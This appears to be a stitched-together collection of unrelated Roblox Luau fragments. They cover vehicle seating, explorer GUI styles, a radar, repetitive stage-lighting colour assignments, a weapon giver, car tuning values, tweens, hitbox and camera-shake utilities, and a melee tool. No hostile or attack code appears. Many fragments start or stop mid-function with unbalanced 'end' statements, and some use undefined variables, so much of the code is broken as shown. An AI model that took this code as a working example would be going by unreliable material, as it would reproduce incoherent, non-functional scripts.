if child.Part1.Name == "HumanoidRootPart" then player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over. GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly. GUI:Clone().Parent = player.PlayerGui --// Compact version if script.Parent.L.Value == true then --because you can't get in a locked car wait() script.Parent.Disabled = true wait() script.Parent.Disabled = false else script.Parent.Occupied.Value = true script.Parent.Occupied.Value = true end end end end end) script.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then game.Workspace.CurrentCamera.FieldOfView = 70 player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and player.PlayerGui:FindFirstChild("SS3") then player.PlayerGui:FindFirstChild("SS3"):Destroy() script.Parent.Occupied.Value = false end end end end)
-- Styles
local Styles = { Font = Enum.Font.Arial, Margin = 5, Black = Color3_fromRGB(0,0,5), Black2 = Color3_fromRGB(24,24,29), White = Color3_fromRGB(244,244,249), White2 = Color3_fromRGB(200,200,205), Hover = Color3_fromRGB(2,128,149), Hover2 = Color3_fromRGB(5,102,146) } local Row = { Font = Styles.Font, FontSize = Enum.FontSize.Size12, TextXAlignment = Enum.TextXAlignment.Left, TextColor = Styles.White, TextColorOver = Styles.White2, TextLockedColor = Color3_fromRGB(155, 155, 160), Height = 24, BorderColor = Color3_fromRGB(54, 54, 55), BackgroundColor = Styles.Black2, BackgroundColorAlternate = Color3_fromRGB(32, 32, 37), BackgroundColorMouseover = Color3_fromRGB(40, 40, 45), TitleMarginLeft = 15 } local DropDown = { Font = Styles.Font, FontSize = Enum.FontSize.Size14, TextColor = Color3_fromRGB(255, 255, 255), TextColorOver = Styles.White2, TextXAlignment = Enum.TextXAlignment.Left, Height = 16, BackColor = Styles.Black2, BackColorOver = Styles.Hover2, BorderColor = Color3_fromRGB(45, 45, 50), BorderSizePixel = 2, ArrowColor = Color3_fromRGB(80, 80, 83), ArrowColorOver = Styles.Hover } local BrickColors = { BoxSize = 13, BorderSizePixel = 1, BorderColor = Color3_fromRGB(53, 53, 55), FrameColor = Color3_fromRGB(53, 53, 55), Size = 20, Padding = 4, ColorsPerRow = 8, OuterBorder = 1, OuterBorderColor = Styles.Black } wait(1) local bindGetSelection = ExplorerFrame.GetSelection local bindSelectionChanged = ExplorerFrame.SelectionChanged local bindGetApi = PropertiesFrame.GetApi local bindGetAwait = PropertiesFrame.GetAwaiting local bindSetAwait = PropertiesFrame.SetAwaiting local ContentUrl = ContentProvider.BaseUrl .. "asset/?id=" local SettingsRemote = Gui:WaitForChild("SettingsPanel"):WaitForChild("GetSetting") local propertiesSearch = PropertiesFrame.Header.TextBox local AwaitingObjectValue = false local AwaitingObjectObj local AwaitingObjectProp function searchingProperties() if propertiesSearch.Text ~= "" then return true end return false end local function GetSelection() local selection = bindGetSelection:Invoke() if #selection == 0 then return nil else return selection end end
--[[ @param Vector2 size ]]
function Grid.New(size) local newGrid = {} newGrid.Cells = {} newGrid.Folder = Instance.new("Folder", workspace) newGrid.Folder.Name = "Grid" newGrid.SizeX = size.X newGrid.SizeY = size.Y setmetatable(newGrid, Grid) return newGrid end
-- when activated, either bring gui up or down, depending on current state
function removeGUIPlayers() local guiPlayers = gui.Frame.Players:GetChildren() for i = 1, #guiPlayers do guiPlayers[i]:remove() end end function incrementZIndex() zIndex = zIndex + 1 if zIndex > 10000 then zIndex = 2 end end function createPlayerGUINode(pos, playerText) local playerIcon = Instance.new("ImageLabel") playerIcon.Image = "http://www.roblox.com/asset/?id=28625552" playerIcon.BackgroundTransparency = 1 playerIcon.BorderSizePixel = 0 playerIcon.Size = UDim2.new(0,22.5,0,40.5) playerIcon.Position = UDim2.new(0,pos.x,0,pos.y) playerIcon.Parent = gui.Frame.Players playerIcon.ZIndex = zIndex incrementZIndex() local playerName = Instance.new("TextLabel") playerName.BackgroundTransparency = 1 playerName.BorderSizePixel = 1 playerName.Text = tostring(playerText) playerName.Size = UDim2.new(0,150,0,25) playerName.Parent = playerIcon playerName.Position = UDim2.new(0,-65,0,0) playerName.TextColor3 = Color3.new(1,0,0.4) playerName.ZIndex = zIndex incrementZIndex() end function updateGUI() removeGUIPlayers() local players = game.Players:GetChildren() for i = 1, #players do local playerTorso = players[i].Character:FindFirstChild("Torso") if playerTorso ~= nil then local posDiff = Vector3.new(torso.Position.x - playerTorso.Position.x,0,torso.Position.z - playerTorso.Position.z) if posDiff.magnitude < range and playerTorso.Parent.Name ~= torso.Parent.Name then -- translate coordinates to radar coordinates posDiff = Vector2.new((posDiff.x + range) * 0.5,(posDiff.z + range) * 0.5) local rotationVector = Tool.Angle.Value local denom = math.abs(rotationVector.x) + math.abs(rotationVector.z) local xDirect = (rotationVector.x/denom) local zDirect = (rotationVector.z/denom) local angle = math.atan2(1,0) - math.atan2(zDirect,xDirect) local point = Vector2.new(((posDiff.x - radarCenter.x) * math.cos(angle)) - ((posDiff.y - radarCenter.y) * math.sin(angle)) + radarCenter.x, ((posDiff.x - radarCenter.x) * math.sin(angle)) + ((posDiff.y - radarCenter.y) * math.cos(angle)) + radarCenter.y) createPlayerGUINode(point, playerTorso.Parent) elseif playerTorso.Parent.Name == torso.Parent.Name then createPlayerGUINode(radarCenter,playerTorso.Parent) end end end end while true do if guiEnabled then updateGUI() end wait() end
--[[ ALL PLAYER FUNCTIONS ]]
-- local Players = game.Players local player = Players.LocalPlayer local character = player.Character local humanoid = character:FindFirstChild("Humanoid")
--script.Parent.WW.Velocity = script.Parent.WW.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.WWW.Velocity = script.Parent.WWW.CFrame.lookVector *script.Parent.Speed.Value script.Parent.X.Velocity = script.Parent.X.CFrame.lookVector *script.Parent.Speed.Value
-- Services
local ContextActionService = game:GetService 'ContextActionService' local UserInputService = game:GetService 'UserInputService'
--------END AUDIENCE BACK RIGHT--------
game.Workspace.rightpalette.l15.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l25.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l16.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l26.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.post1.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.post2.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackleft1.Part1.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackleft1.Part2.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackleft1.Part3.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackleft1.Part4.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackleft1.Part5.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackleft1.Part6.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackleft1.Part7.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackleft1.Part8.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackleft1.Part9.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackright1.Part1.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackright1.Part2.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackright1.Part3.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackright1.Part4.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackright1.Part5.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackright1.Part6.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackright1.Part7.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackright1.Part8.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.audiencebackright1.Part9.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.Lighting.flashcurrent.Value = "0" game.Workspace.sidesquares.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.sidesquares.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.sidesquares.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.sidesquares.l14.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.sidesquares.l15.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.sidesquares.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.sidesquares.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.sidesquares.l24.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.sidesquares.l25.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.sidesquares.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.sidesquares.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.sidesquares.l34.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.sidesquares.l35.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l14.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l24.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l15.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l25.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l16.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l26.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.post1.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.post2.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) end end script.Parent.ClickDetector.MouseClick:connect(onClicked)
----------------------------------------------------------------------------------------- --[[ Thanks for using Zed's Mesh Giver 2.0! Instructions: 1) Find the mesh in you weapon. Generally it should be inside a brick called "Handle" 2) Copy and Paste that mesh into the scenebrick, remove the mesh currently in the scenebrick first. 3) Open up the settings folder in thsi model and edit the following settings: - Regen Time: Time it takes for a person to be able to use the giver again. - StartColor: Color of the bricks that are currently blue. - RegenColor: Color of the current blue bricks will be turned to a different color meaning its currently regenrating. - WeaponName: Copy and past the exact name of the weapon into the value of the WeaponName value. 4) Cut and paste the weapon into ServerStorage 5) Done! ----------------Don't edit below unless you know what you're doing-------------------------- --]]
SColor = script.Parent.Settings:FindFirstChild("StartColor") RColor = script.Parent.Settings:FindFirstChild("RegenColor") RTime = script.Parent.Settings:FindFirstChild("RegenTime") Weapon = script.Parent.Settings:FindFirstChild("WeaponName") Center = script.Parent:FindFirstChild("TouchMe") deb = false Center.Touched:connect(function(part) if part.Parent:FindFirstChild("Humanoid") then if part.Parent.Humanoid.Health > 0 then if game.Players:FindFirstChild(part.Parent.Name) then if game.ServerStorage:FindFirstChild(Weapon.Value) then if deb == false then deb = true local wep = game.ServerStorage:FindFirstChild(Weapon.Value) wep:Clone().Parent = game.Players:FindFirstChild(part.Parent.Name).Backpack wait(RTime.Value) deb = false end else print("Error: "..Weapon.Value.." not found in 'ServerStorage'.") end end end end end)
--[[Transmission]]
Tune.TransModes = {"Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]]
--
local Info2 = TweenInfo.new( 1, -- Length Enum.EasingStyle.Bounce, -- Easing Style Enum.EasingDirection.Out, -- Easing Direction 0, -- Times repeated false, -- Reverse 0 -- Delay ) local Goals2 = { Transparency = 1; Size = Vector3.new(0,0,0); } local tween = TweenService:Create(part,Info,Goals) local tween2 = TweenService:Create(part,Info2,Goals2) wait(2) tween:Play() wait(2) tween2:Play()
-- Visualizes an impact. This will not run if FastCast.VisualizeCasts is false.
function DbgVisualizeHit(atCF: CFrame, wasPierce: boolean): SphereHandleAdornment if FastCast.VisualizeCasts ~= true then return end local adornment = Instance.new("SphereHandleAdornment") adornment.Adornee = workspace.Terrain adornment.CFrame = atCF adornment.Radius = 0.4 adornment.Transparency = 0.25 adornment.Color3 = (wasPierce == false) and Color3.new(0.2, 1, 0.5) or Color3.new(1, 0.2, 0.2) adornment.Parent = GetFastCastVisualizationContainer() return adornment end
--[[Engine]]
--Torque Curve Tune.Horsepower = 450 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--- Searches for attachments for the given instance (if applicable)
function Hitbox:Recalibrate() local descendants: {[number]: Instance} = self.HitboxObject:GetDescendants() local attachmentCount: number = 0 --- Remove all previous attachments for i = #self.HitboxRaycastPoints, 1, -1 do if self.HitboxRaycastPoints[i].CastMode == Hitbox.CastModes.Attachment then table.remove(self.HitboxRaycastPoints, i) end end for _, attachment: any in ipairs(descendants) do if not attachment:IsA("Attachment") or attachment.Name ~= DEFAULT_ATTACHMENT_INSTANCE then continue end local group: string? = attachment:GetAttribute(DEFAULT_GROUP_NAME_INSTANCE) local point: Point = self:_CreatePoint(group, Hitbox.CastModes.Attachment, attachment.WorldPosition) table.insert(point.Instances, attachment) table.insert(self.HitboxRaycastPoints, point) attachmentCount += 1 end if self.DebugLog then print(string.format("%s%s", DEFAULT_DEBUG_LOGGER_PREFIX, attachmentCount > 0 and string.format(DEFAULT_ATTACH_COUNT_NOTICE, attachmentCount, self.HitboxObject.Name) or string.format(DEFAULT_MISSING_ATTACHMENTS, self.HitboxObject.Name)) ) end end
--[=[ Start the shake effect. :::note This **must** be called before calling `Update`. As such, it should also be called once before or after calling `OnSignal` or `BindToRenderStep` methods. ::: ]=]
function Shake:Start() self._startTime = self.TimeFunction() self._running = true self._trove:Add(function() self._running = false end) end
-- ROBLOX deviation END
setmetatable(Expect, { __call = expect_ })
-- rounds number a to nearest multiple of b
function maths:RoundTo(a,b) return math.round(a/b)*b end
--use this to determine if you want this human to be harmed or not, returns boolean
function checkTeams(otherHuman) return not (sameTeam(otherHuman) and not FriendlyFire) end function onTouched(part) if part:IsDescendantOf(Tool.Parent) then return end if not HitAble then return end if part.Parent and part.Parent:FindFirstChild("Humanoid") then local human = part.Parent.Humanoid if contains(HitVictims, human) then return end local root = part.Parent:FindFirstChild("HumanoidRootPart") if root and not root.Anchored then local myRoot = Tool.Parent:FindFirstChild("HumanoidRootPart") if myRoot and checkTeams(human) then local delta = root.Position - myRoot.Position human.Sit = true tagHuman(human) human:TakeDamage(HitDamage) table.insert(HitVictims, human) local bv = Instance.new("BodyVelocity") bv.maxForce = Vector3.new(math.huge, math.huge, math.huge) bv.velocity = delta.unit * math.huge bv.Parent = root game:GetService("Debris"):AddItem(bv, 0.05) Handle.Smack.Pitch = math.random(90, 110)/100 Handle.Smack.TimePosition = 0.15 Handle.Smack:Play() end end end end function onEquip() --put in our right arm local char = Tool.Parent local arm = Tool.ArmMesh:Clone() arm.Parent = char:FindFirstChild("Right Arm") ArmMesh = arm end function onUnequip() if ArmMesh then ArmMesh:Destroy() ArmMesh = nil end end function onLeftDown() if not SwingAble then return end SwingAble = false delay(SwingRestTime, function() SwingAble = true end) delay(HitWindup, function() HitAble = true delay(HitWindow, function() HitAble = false end) end) HitVictims = {} Remote:FireClient(getPlayer(), "PlayAnimation", "Swing") wait(0.25) Handle.Boom.Pitch = math.random(80, 100)/100 Handle.Boom:Play() if Handle.Touched:connect(onTouched) then Handle.Scream:Play() end end function onRemote(player, func, ...) if player ~= getPlayer() then return end if func == "LeftDown" then onLeftDown(...) end end Tool.Equipped:connect(onEquip) Tool.Unequipped:connect(onUnequip) Handle.Touched:connect(onTouched) Remote.OnServerEvent:connect(onRemote)
---------------------
colorchangingpart.Transparency = 0 colorchangingpart.Material = Enum.Material.Grass -- set this to the material you want the part to be